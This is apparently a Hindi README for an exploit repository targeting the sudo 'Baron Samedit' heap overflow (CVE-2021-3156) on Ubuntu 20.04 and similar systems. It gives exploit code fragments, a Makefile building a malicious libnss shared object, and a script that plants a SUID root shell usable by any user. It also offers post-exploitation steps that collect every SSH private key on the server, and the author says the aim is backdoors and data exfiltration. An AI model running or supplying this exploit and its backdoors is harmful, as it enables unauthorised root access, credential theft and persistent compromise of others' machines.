
Ubuntu 20.04 के लिए CVE-2021-3156 का उपयोग करने वाला एक्सप्लॉइट, जिसे पोस्ट-एक्सप्लॉइटेशन स्क्रिप्ट के साथ उन्नत किया गया है
Ubuntu 20.04 के लिए एक्सप्लॉइट जो CVE-2021-3156 का उपयोग करता है, जिसे सरल और स्वचालित पोस्ट-एक्सप्लॉइटेशन स्क्रिप्ट्स के साथ बेहतर बनाया गया है
रूट शेल के अलावा आपके पास ये हो सकते हैं:
-एक .txt फ़ाइल जिसमें सर्वर पर कॉन्फ़िगर की गई सभी id_rsa ssh कुंजियाँ हों। स्क्रिप्ट देखें: get_all_ssh_keys.sh
-एक privshell एक्ज़ीक्यूटेबल जो किसी भी उपयोगकर्ता को रूट शेल शुरू करने की अनुमति देता है (gcc त्रुटि को ठीक करने पर काम चल रहा है)। स्क्रिप्ट देखें: create_privshell.sh
सफल परिणाम पाने के लिए, यह आवश्यक है कि पीड़ित मशीन में OS और Sudo के निम्नलिखित संस्करणों में से एक हो:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

अपनी VM को संवेदनशील बनाने के लिए, मैंने निम्नलिखित कमांड से sudo का अपना संस्करण डाउनग्रेड किया:
$ sudo apt install sudo=1.8.31-1ubuntu1
एक्सप्लॉइट तब तक काम कर सकता है जब तक पीड़ित सिस्टम तक पहुँच बिना काफी विशेषाधिकारों वाले उपयोगकर्ता के साथ प्राप्त की जाती है।

आप रेपो को पीड़ित की मशीन पर या अपनी लोकल मशीन पर क्लोन कर सकते हैं और इसे wget के साथ लोड कर सकते हैं।

कमांड "make" निष्पादित करें ताकि भेद्यता के अनुसार .c फ़ाइलों को कंपाइल किया जा सके।

आपको एक्सप्लॉइट फ़ाइल मिलेगी, इसलिए आप इसे "./" के साथ चला सकते हैं। एक्सप्लॉइट चलाने के बाद, हम अब रिपॉजिटरी में दो फ़ाइलें जनरेट होते देख सकते हैं, एक जिसमें सिस्टम पर पंजीकृत सभी ssh कुंजियाँ होती हैं और दूसरी जिसमें SUID एक्ज़ीक्यूटेबल फ़ाइल होती है जो सभी उपयोगकर्ताओं को रूट सत्र प्रदान करती है। (बैंगनी रंग में हाइलाइट किया गया)

आपको निम्नलिखित जैसी त्रुटि दिख सकती है:

मैं अभी भी त्रुटि को हल करने की कोशिश कर रहा हूँ, लेकिन मुझे लगता है कि यह वह शेल है जो एक्सप्लॉइट को जनरेट करता है। मैंने उचित अनुमतियों वाले उपयोगकर्ता से sudo su के साथ रूट तक पहुँच कर ./create_privshell.sh कमांड चलाने की कोशिश की और स्क्रिप्ट का कंपाइलेशन ठीक था। वैकल्पिक रूप से इसे किसी अन्य मशीन पर कंपाइल करके पीड़ित मशीन पर कॉपी किया जा सकता है, इसीलिए wget अनुरोध का अस्तित्व है।
कंपाइल करने के लिए स्क्रिप्ट निम्नलिखित है:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
अब आप सभी ssh कुंजियों वाली .txt फ़ाइलें पढ़ सकते हैं और जब तक मैं gcc त्रुटि को ठीक नहीं कर देता, तब तक privshell का उपयोग कर सकते हैं।

Qualys द्वारा खोजा गया
CVSS स्कोर 7.8
CVE-2021-3156, जिसे "Baron Samedit" भेद्यता के रूप में भी जाना जाता है, एक सुरक्षा भेद्यता है जो Unix-आधारित ऑपरेटिंग सिस्टम पर व्यापक रूप से उपयोग किए जाने वाले sudo प्रोग्राम को प्रभावित करती है। Sudo एक प्रोग्राम है जो उपयोगकर्ताओं को उच्च विशेषाधिकारों के साथ कमांड चलाने की अनुमति देता है, आमतौर पर अपना स्वयं का पासवर्ड या रूट पासवर्ड दर्ज करके। यह भेद्यता sudo कमांड की "sudoedit" सुविधा में बफर ओवरफ्लो समस्या के कारण होती है, जो उपयोगकर्ताओं को उच्च विशेषाधिकारों के साथ फ़ाइलों को संपादित करने की अनुमति देती है। यह भेद्यता पहली बार जनवरी 2021 में Qualys Research Labs द्वारा खोजी गई थी, और यह sudo संस्करण 1.8.2 से 1.8.31p2 और 1.9.0 से 1.9.5p1 को प्रभावित करती है।
###बहुत ही तकनीकी विवरण जानकारी: Qualys



दूसरे शब्दों में, set_cmnd() एक हीप-आधारित बफर ओवरफ्लो के प्रति संवेदनशील है, क्योंकि "user_args" बफर में कॉपी किए गए आउट-ऑफ-बाउंड वर्ण उसके आकार में शामिल नहीं थे (पंक्तियों 852-853 पर गणना की गई)।
ओवरफ्लो वाले हिस्से के लिए, मैंने redhawkeye/sudo-exploit की exploit.c फ़ाइल का उपयोग किया।
यह थोड़ा जटिल है लेकिन आसानी से समझा जा सकता है।
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
यह भाग पर्यावरण चर env की एक सरणी घोषित करता है जिसे execve सिस्टम कॉल में पारित किया जाएगा। पर्यावरण चर में बैकस्लैश की एक श्रृंखला और LC_ALL नामक एक विशेष रूप से तैयार किया गया चर होता है, जिसका मान "C.UTF-8@" है, जो 208 (0xd0) 'A' वर्णों के साथ संयोजित है। C.UTF-8@ मान sudoedit कमांड को LC_ALL पर्यावरण चर के रूप में पारित किया जाएगा। 208 'A' वर्णों का उपयोग sudoedit प्रोग्राम में बफर को ओवरफ्लो करने और मनमाना कोड निष्पादित करने के लिए किया जाता है।
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
यह भाग एक चर a घोषित करता है जिसमें 112 (0x70) 'A' वर्णों की एक स्ट्रिंग होती है, जिसके बाद एक बैकस्लैश होता है। फिर यह एक सरणी argv घोषित करता है जिसे execve को पारित किया जाएगा। सरणी में sudoedit कमांड (/usr/bin/sudoedit) का पथ, -s फ़्लैग और ऊपर बनाया गया चर a होता है।
execve(argv[0], argv, env);
यह वास्तविक execve सिस्टम कॉल है जो प्रदान किए गए तर्कों और पर्यावरण चर के साथ sudoedit कमांड को चलाता है। sudoedit प्रोग्राम LC_ALL पर्यावरण चर को पढ़ेगा और इसे फ़ाइल पथ के रूप में पार्स करने का प्रयास करेगा। ओवरफ्लो करने वाले 'A' वर्णों का उपयोग मेमोरी में मनमाना डेटा लिखने और संभावित रूप से मनमाना कोड निष्पादित करने के लिए किया जाएगा।
तो RCE के लिए मेमोरी में आरक्षित यह डेटा हमारी फ़ाइल shell_tool.c द्वारा उपयोग किया जाएगा।
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
कोड का यह भाग sice नामक एक फ़ंक्शन घोषित करता है जिसमें attribute((constructor)) विशेषता होती है, इसलिए main() निष्पादित होने से पहले, प्रोग्राम के चलना शुरू होते ही यह फ़ंक्शन स्वचालित रूप से कॉल किया जाएगा। sice फ़ंक्शन के अंदर, प्रक्रिया की प्रभावी उपयोगकर्ता ID को 0 पर सेट करने के लिए setuid(0) फ़ंक्शन को कॉल किया जाता है, जो सुपरयूज़र या रूट की उपयोगकर्ता ID है। यह प्रभावी रूप से प्रोग्राम को रूट विशेषाधिकार देता है। उसके बाद, केवल system("command") तर्क का उपयोग करके, हम रूट सत्र टर्मिनल में दिखाई देने से पहले जो चाहें कर सकते हैं, यही कारण है कि मैं स्क्रिप्टिंग चीज़ को आज़माना चाहता था, ताकि रूट शेल प्राप्त करने से पहले कुछ बैकडोर और डेटा एक्सफ़िलट्रेटेड हो सके।
मैंने mybufferof.c नामक कोड का अपना स्वयं का संस्करण लिखने की कोशिश की, यह मूल रूप से काफी समान है, इसलिए इसे परखने के लिए Makefile को संशोधित करने में संकोच न करें jeje
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
पहले हमें अपने एक्सप्लॉइट को कंपाइल करना होगा और फिर "libnss_X" निर्देशिका बनानी होगी। फिर अंतिम कमांड shell_tool.c फ़ाइल को कंपाइल करता है और libnss_X निर्देशिका में X.so.2 नामक एक shared object फ़ाइल बनाता है:
-g फ़्लैग shared object फ़ाइल के लिए डिबग जानकारी उत्पन्न करता है।
-fPIC फ़्लैग shared objects के लिए position-independent कोड उत्पन्न करता है।
-shared फ़्लैग निर्दिष्ट करता है कि एक shared object फ़ाइल बनाई जानी चाहिए।
परिणामी shared object फ़ाइल X.so.2 को दूसरे चरण में बनाई गई libnss_X निर्देशिका में रखा गया है।
यह CVE के लिए महत्वपूर्ण है, क्योंकि इस वजह से:

डेटा: Qualys
बस इतना ही, आनंद लीजिए, मुझे लगता है